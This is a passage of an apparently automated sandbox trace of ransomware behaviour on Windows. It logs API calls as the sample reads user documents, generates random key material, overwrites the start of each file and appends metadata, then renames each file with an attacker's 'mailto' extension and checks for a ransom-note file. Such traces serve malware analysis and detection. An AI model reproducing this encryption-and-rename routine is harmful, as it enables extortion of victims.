lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0178.302] GetFileSizeEx (in: hFile=0x6f4, lpFileSize=0x2c8ff954 | out: lpFileSize=0x2c8ff954*=99653) returned 1 [0178.302] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x18541, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.302] ReadFile (in: hFile=0x6f4, lpBuffer=0x2c8ff928, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c8ff924, lpOverlapped=0x0 | out: lpBuffer=0x2c8ff928*, lpNumberOfBytesRead=0x2c8ff924*=0x4, lpOverlapped=0x0) returned 1 [0178.303] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.303] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f979f8 [0178.303] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97d40 [0178.303] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97a98 [0178.303] NtQuerySystemTime (in: CurrentTime=0x2c8ff900 | out: CurrentTime=0x2c8ff900*=132121213356249447) returned 0x0 [0178.303] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0xd6c42228 [0178.303] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x6db1fbb [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0xa444f1d5 [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x86c45771 [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0xafb51d82 [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0xe185e502 [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x5aeca896 [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x58456064 [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0xd294620b [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x55e5d957 [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0xdc371eca [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x8f5dbf80 [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x20286862 [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x70761a0c [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x8b77ea7b [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0xa50c9016 [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x2d4aff2d [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x645a1c0f [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x6db6b3c [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0xca958a57 [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x1560a00f [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x30c15c4 [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0xe84fbb43 [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x4e61dbc9 [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x8c4d70d6 [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x293d682e [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0xa62ea61b [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x287f2623 [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x5d0e3b5a [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x2d9c2cee [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x6d5310aa [0178.304] RtlRandom (in: Seed=0x2c8ff90c | out: Seed=0x2c8ff90c) returned 0x26181645 [0178.320] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.320] ReadFile (in: hFile=0x6f4, lpBuffer=0x4f03770, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2c8ff8d8, lpOverlapped=0x0 | out: lpBuffer=0x4f03770*, lpNumberOfBytesRead=0x2c8ff8d8*=0x4096, lpOverlapped=0x0) returned 1 [0178.321] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.321] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87740 [0178.321] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88988 [0178.322] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97ca0 [0178.322] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97ca0) returned 1 [0178.322] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3024080 [0178.322] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97b10 [0178.322] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97c00 [0178.322] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97c00) returned 1 [0178.323] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88988) returned 1 [0178.323] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87740) returned 1 [0178.323] WriteFile (in: hFile=0x6f4, lpBuffer=0x3024080*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2c8ff8d8, lpOverlapped=0x0 | out: lpBuffer=0x3024080*, lpNumberOfBytesWritten=0x2c8ff8d8*=0x4096, lpOverlapped=0x0) returned 1 [0178.323] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024080) returned 1 [0178.323] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x18545, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.323] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97b10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c8ff910, lpOverlapped=0x0 | out: lpBuffer=0x2f97b10*, lpNumberOfBytesWritten=0x2c8ff910*=0x20, lpOverlapped=0x0) returned 1 [0178.332] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97b10) returned 1 [0178.332] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03770) returned 1 [0178.332] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97b38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c8ff924, lpOverlapped=0x0 | out: lpBuffer=0x2f97b38*, lpNumberOfBytesWritten=0x2c8ff924*=0x8, lpOverlapped=0x0) returned 1 [0178.332] WriteFile (in: hFile=0x6f4, lpBuffer=0x2c8ff93c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c8ff924, lpOverlapped=0x0 | out: lpBuffer=0x2c8ff93c*, lpNumberOfBytesWritten=0x2c8ff924*=0x4, lpOverlapped=0x0) returned 1 [0178.332] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c8ff924, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2c8ff924*=0x4, lpOverlapped=0x0) returned 1 [0178.332] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c8ff924, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2c8ff924*=0x6c, lpOverlapped=0x0) returned 1 [0178.332] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97d40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c8ff924, lpOverlapped=0x0 | out: lpBuffer=0x2f97d40*, lpNumberOfBytesWritten=0x2c8ff924*=0x20, lpOverlapped=0x0) returned 1 [0178.333] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c8ff924, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2c8ff924*=0x4, lpOverlapped=0x0) returned 1 [0178.333] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97d40) returned 1 [0178.333] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97d68) returned 1 [0178.333] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97b38) returned 1 [0178.333] CloseHandle (hObject=0x6f4) returned 1 [0178.333] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f02838 [0178.333] wcscpy (in: _Dest=0x4f02838, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731" [0178.697] wcscat (in: _Dest=0x4f02838, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0178.697] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\ddmqo8hl2gw91muc8.odp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\ddmqo8hl2gw91muc8.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0178.699] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.699] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02838) returned 1 [0178.699] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.699] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb6) returned 0x2f8b8d0 [0178.699] wcscpy (in: _Dest=0x2f8b8d0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0178.699] wcscat (in: _Dest=0x2f8b8d0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" [0178.699] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\d0e731-readme.txt")) returned 0x20 [0178.699] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b8d0) returned 1 [0178.699] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d590) returned 1 [0178.699] RtlExitUserThread (Status=0x1) Thread: id = 2741 os_tid = 0x740 [0178.334] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\gqmybri0taa5ogyl.xls.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.335] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.335] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\gqmybri0taa5ogyl.xls.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0178.336] GetFileSizeEx (in: hFile=0x6f4, lpFileSize=0x2c97fd60 | out: lpFileSize=0x2c97fd60*=32539) returned 1 [0178.336] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x7f17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.336] ReadFile (in: hFile=0x6f4, lpBuffer=0x2c97fd34, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c97fd30, lpOverlapped=0x0 | out: lpBuffer=0x2c97fd34*, lpNumberOfBytesRead=0x2c97fd30*=0x4, lpOverlapped=0x0) returned 1 [0178.337] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f979f8 [0178.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97d40 [0178.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97ac0 [0178.338] NtQuerySystemTime (in: CurrentTime=0x2c97fd0c | out: CurrentTime=0x2c97fd0c*=132121213356562653) returned 0x0 [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0x88019108 [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0x1c41e60f [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0xe58844fe [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0xc6a0e915 [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0xf71c7dbf [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0xeca81adf [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0xc14a9bf0 [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0x861362a0 [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0x3170b2a0 [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0xcf6fb997 [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0x76db8cdb [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0x4032005e [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0xcd6782f1 [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0x6ddb59d8 [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0x4b3616d7 [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0xfcde77db [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0x3e102717 [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0x5c473f08 [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0xf7047ace [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0xae829346 [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0x9e18f677 [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0xd9e5039c [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0x32167d06 [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0xff3c0829 [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0xc2b4b43d [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0x7d9a0ecd [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0x11c095fd [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0x62b89f82 [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0xf7b4ca4f [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0xcc343518 [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0x5e94fffb [0178.338] RtlRandom (in: Seed=0x2c97fd18 | out: Seed=0x2c97fd18) returned 0xac8ca903 [0178.353] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.353] ReadFile (in: hFile=0x6f4, lpBuffer=0x4f03770, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2c97fce4, lpOverlapped=0x0 | out: lpBuffer=0x4f03770*, lpNumberOfBytesRead=0x2c97fce4*=0x4096, lpOverlapped=0x0) returned 1 [0178.354] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.354] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87740 [0178.354] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88eb0 [0178.354] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97ae8 [0178.354] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97ae8) returned 1 [0178.355] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3024080 [0178.355] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97b10 [0178.355] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97cc8 [0178.355] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97cc8) returned 1 [0178.355] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88eb0) returned 1 [0178.355] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87740) returned 1 [0178.355] WriteFile (in: hFile=0x6f4, lpBuffer=0x3024080*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2c97fce4, lpOverlapped=0x0 | out: lpBuffer=0x3024080*, lpNumberOfBytesWritten=0x2c97fce4*=0x4096, lpOverlapped=0x0) returned 1 [0178.356] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024080) returned 1 [0178.356] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x7f1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.356] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97b10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c97fd1c, lpOverlapped=0x0 | out: lpBuffer=0x2f97b10*, lpNumberOfBytesWritten=0x2c97fd1c*=0x20, lpOverlapped=0x0) returned 1 [0178.356] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97b10) returned 1 [0178.356] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03770) returned 1 [0178.356] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97b38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c97fd30, lpOverlapped=0x0 | out: lpBuffer=0x2f97b38*, lpNumberOfBytesWritten=0x2c97fd30*=0x8, lpOverlapped=0x0) returned 1 [0178.357] WriteFile (in: hFile=0x6f4, lpBuffer=0x2c97fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c97fd30, lpOverlapped=0x0 | out: lpBuffer=0x2c97fd48*, lpNumberOfBytesWritten=0x2c97fd30*=0x4, lpOverlapped=0x0) returned 1 [0178.357] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c97fd30, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2c97fd30*=0x4, lpOverlapped=0x0) returned 1 [0178.357] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c97fd30, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2c97fd30*=0x6c, lpOverlapped=0x0) returned 1 [0178.357] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97d40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c97fd30, lpOverlapped=0x0 | out: lpBuffer=0x2f97d40*, lpNumberOfBytesWritten=0x2c97fd30*=0x20, lpOverlapped=0x0) returned 1 [0178.357] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c97fd30, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2c97fd30*=0x4, lpOverlapped=0x0) returned 1 [0178.358] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97d40) returned 1 [0178.358] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97d68) returned 1 [0178.358] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97b38) returned 1 [0178.358] CloseHandle (hObject=0x6f4) returned 1 [0178.358] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f02318 [0178.358] wcscpy (in: _Dest=0x4f02318, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731" [0178.358] wcscat (in: _Dest=0x4f02318, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0178.358] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\gqmybri0taa5ogyl.xls.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\gqmybri0taa5ogyl.xls.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0178.360] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02318) returned 1 [0178.361] SetFileAttributesW 